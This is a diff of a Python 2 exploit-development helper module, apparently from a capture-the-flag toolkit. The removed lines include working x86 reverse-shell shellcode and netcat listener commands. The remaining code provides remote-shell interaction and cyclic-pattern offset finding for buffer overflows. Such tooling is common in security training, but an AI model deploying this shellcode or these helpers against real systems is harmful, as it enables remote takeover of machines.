|
1 | 1 | import re |
| 2 | +import string |
2 | 3 | import socket |
3 | 4 | import time |
4 | | -import sys |
| 5 | +import telnetlib |
5 | 6 | from struct import pack,unpack |
6 | | -from string import ascii_lowercase as ALPHABET |
7 | 7 |
|
8 | | - |
9 | | -class Exploit(): |
10 | | - def __init__(self, ip_addr, port, exploit_type): |
11 | | - self.ip = ip_addr |
12 | | - self.port = port |
13 | | - self.type = exploit_type |
14 | | - |
15 | | - self.connectback = None |
16 | | - self.bind = None |
17 | | - |
18 | | - self.stage = [] # list of input to send to get to arbitrary execution |
19 | | - self.shellcode = None |
20 | | - |
21 | | - def connect_back(self, ip_addr, port): |
22 | | - self.connectback = (ip_addr, port) |
23 | | - |
24 | | - def bind_shell(self, port): |
25 | | - self.bind = port |
26 | | - |
27 | | - def prepare(self, input): |
28 | | - self.stage.append(input) |
29 | | - |
30 | | - def generate(self, arch='x86'): |
31 | | - if self.type == 'connectback': |
32 | | - if self.connectback == None: |
33 | | - raise RuntimeError("You haven't set parameters for the connect back") |
34 | | - self.shellcode = reverse_tcp(self.connectback[0], self.connectback[1], arch) |
35 | | - elif self.type == 'bind': |
36 | | - if self.bind == None: |
37 | | - raise RuntimeError("You haven't set parameters for the bind shell") |
38 | | - self.shellcode = bind_shell(self.bind, arch) # needs implementation |
39 | | - |
40 | | - def display(self): |
41 | | - for x in self.stage: |
42 | | - sys.stdout.write(x) |
43 | | - sys.stdout.write(repr(self.shellcode)[1:-1]) |
44 | | - |
45 | | - def throw(self): # needs implementation |
46 | | - connect = get_socket((self.ip, self.port)) |
47 | | - for send in self.stage: |
48 | | - connect.send(send) |
49 | | - time.sleep(.5) |
50 | | - print sock.recv(0x10000) |
51 | | - connect.send(self.shellcode) |
52 | | - |
53 | | - |
54 | | -def bind_shell(port, arch='x86'): |
55 | | - ''' |
56 | | - Generate x86 bind shell shellcode (You connnect to the shell) |
57 | | - |
58 | | - Usage: |
59 | | - reverse_tcp(ip_addr, port) |
60 | | - ip_addr = connect back IP address as string |
61 | | - port = connect back port as int |
62 | | -
|
63 | | - A command you could use to setup a connection on your system is 'nc 127.0.0.1 7788' |
64 | | - With 127.0.0.1 replaced with the ip of the target box. |
65 | | - ''' |
66 | | - |
67 | | - if arch.lower() == 'x86': |
68 | | - port = pack('>H', port) |
69 | | - BIND_SHELL = BIND_SHELL_X86 |
70 | | - pass |
71 | | - |
72 | | -def reverse_tcp(ip_addr, port, arch='x86'): |
73 | | - ''' |
74 | | - Generate x86 reverse tcp shellcode (The shell connects to you) |
75 | | - |
76 | | - Usage: |
77 | | - reverse_tcp(ip_addr, port) |
78 | | - ip_addr = connect back IP address as string |
79 | | - port = connect back port as int |
80 | | -
|
81 | | - A command you could use to setup a listener on your system is 'nc -vl 7788' |
82 | | - ''' |
83 | | - |
84 | | - if arch.lower() == 'x86': |
85 | | - ip = ''.join([chr(int(x)) for x in ip_addr.split('.')]) |
86 | | - port = pack('>H', port) |
87 | | - |
88 | | - REVERSE_TCP_X86 = ( |
89 | | - '\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\x43\xb0\x66\x89\xe1\xcd\x80\x89\xc6' |
90 | | - '\x31\xc0\xb0\x66\x43\x68' + ip + '\x66\x68' + port + '\x66\x53\x89\xe1' |
91 | | - '\x6a\x10\x51\x56\x43\x89\xe1\xcd\x80\x89\xc7\x31\xc9\x89\xc8\x89\xca\xb1' |
92 | | - '\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f' |
93 | | - '\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xc9\x89\xca\xcd\x80' |
94 | | - ) |
95 | | - |
96 | | - REVERSE_TCP = REVERSE_TCP_X86 |
97 | | - |
98 | | - elif arch.lower() == 'x64': |
99 | | - REVERSE_TCP = REVERSE_TCP_X64 # need implementation |
100 | | - |
101 | | - elif arch.lower() == 'arm': |
102 | | - REVERSE_TCP == REVERSE_TCP_ARM # need implementation |
103 | | - |
104 | | - elif arch.lower() == 'mips': |
105 | | - REVERSE_TCP = REVERSE_TCP_MIPS # need implementation |
106 | | - |
107 | | - banned = ('\x00', '\x0a', '\x0d') |
108 | | - for x in banned: |
109 | | - if x in REVERSE_TCP_X86: |
110 | | - print 'This shellcode may not work because of {} at index {}'.format(repr(x), REVERSE_TCP.index(x)) |
111 | | - |
112 | | - return REVERSE_TCP_X86 |
113 | | - |
114 | | - |
115 | | -def get_socket(chal): |
| 8 | +def getSocket(chal): |
116 | 9 | '''chal is a 2-tuple with an address and a port ex: ('127.0.0.1',111)''' |
117 | 10 | s=socket.socket() |
118 | 11 | s.settimeout(5) |
119 | 12 | s.connect(chal) |
120 | 13 | return s |
121 | 14 |
|
122 | | - |
123 | 15 | def shell(sock): |
124 | | - ''' |
125 | | - pass to this function a socket object with a |
126 | | - listening shell(socket reuse) |
127 | | - ''' |
| 16 | + '''pass to this function a socket object with a listening shell(socket reuse)''' |
128 | 17 | command='' |
129 | 18 | while(command != 'exit'): |
130 | 19 | command=raw_input('$ ') |
131 | | - sock.send(command + '\n')#raw_input won't grab a newline |
| 20 | + sock.send(command + '\n\0')#raw_input won't grab a newline |
132 | 21 | time.sleep(.5) |
133 | 22 | print sock.recv(0x10000) |
134 | 23 | return |
135 | 24 |
|
| 25 | +def telnet_shell(sock): |
| 26 | + '''pass to this function a socket object with a listening shell(socket reuse)''' |
| 27 | + tc = telnetlib.Telnet() |
| 28 | + tc.sock = sock |
| 29 | + tc.interact() |
| 30 | + return |
136 | 31 |
|
137 | 32 | def lei(*nums): |
138 | 33 | ''' |
139 | | - wrapper for struct.pack(), will guess integer size and type |
| 34 | + wrapper for pack, will guess integer size and type |
140 | 35 | takes a variable number of arguments |
141 | 36 | ''' |
142 | 37 | if(len(nums)==1): |
143 | 38 | num=nums[0] |
144 | 39 | if(num>0): |
145 | 40 | if(num<0xffffffff): |
146 | | - return pack("<I",num) # little-endian, unsigned int |
| 41 | + return pack("<I",num) |
147 | 42 | else: |
148 | | - return pack("<Q",num) # little-endian, unsigned long long |
| 43 | + return pack("<Q",num) |
149 | 44 | else: |
150 | | - return pack("<i",num) # little-endian int |
| 45 | + return pack("<i",num) |
151 | 46 | else: |
152 | 47 | return ''.join(map(lei,nums)) |
153 | 48 |
|
| 49 | +''' |
| 50 | +utilities |
| 51 | +''' |
| 52 | +def chunk(iterable, chunkSize): |
| 53 | + for i in range(0,len(iterable),chunkSize): |
| 54 | + yield iterable[i:i+chunkSize] |
154 | 55 |
|
155 | | -def chunk(iterable, chunk_size): |
156 | | - '''Divide iterable into chunks of chunk_size''' |
157 | | - for i in range(0, len(iterable), chunk_size): |
158 | | - yield iterable[i:i+chunk_size] |
159 | | - |
| 56 | +#def alphabet(): |
| 57 | +# return map (chr, [(lambda x: x+ord('a'))(x) for x in range(0,26)]) |
| 58 | + |
160 | 59 |
|
161 | | -def gen_pattern_string(): |
162 | | - '''Generator for pattern strings''' |
163 | | - for x in ALPHABET: |
164 | | - for y in ALPHABET: |
| 60 | +def patternString(): |
| 61 | + for x in list(string.ascii_lowercase): |
| 62 | + for y in list(string.ascii_lowercase): |
165 | 63 | for z in range(10): |
166 | 64 | yield ''.join([x.upper(), y, str(z)]) |
167 | 65 |
|
168 | 66 |
|
169 | | -def pattern_create(n): |
170 | | - '''Generate pattern string of n patterns (3 chars) long''' |
| 67 | +def dipstick(n): |
171 | 68 | limit = 0 |
172 | 69 | ret = '' |
173 | | - for i in gen_pattern_string(): |
| 70 | + for i in patternString(): |
174 | 71 | if limit < n: |
175 | 72 | limit = limit + 1 |
176 | 73 | ret = ret + i |
177 | 74 | else: |
178 | 75 | break |
179 | 76 | return ret |
180 | 77 |
|
181 | | -MAX_PAT=''.join(gen_pattern_string()) |
| 78 | +maxPat=''.join(patternString()) |
182 | 79 |
|
183 | | -def pattern_offset(offset): |
| 80 | +def rDipstick(offset): |
184 | 81 | ''' |
185 | | - Search for offset in pattern string. |
186 | | - Will accept an int of the form 0x12345678 or a |
187 | | - string that looks like '12345678' |
| 82 | + will accept an int of the form 0x12345678 or a string |
| 83 | + that looks like '12345678' |
188 | 84 | ''' |
189 | 85 | if(type(offset)==type(999)): |
190 | 86 | offset=hex(offset)[2:].zfill(8) |
191 | 87 | findMe=reduce(lambda a,b:b+a,chunk(offset,2)).decode('hex') |
192 | 88 | return maxPat.index(findMe) |
| 89 | + |
0 commit comments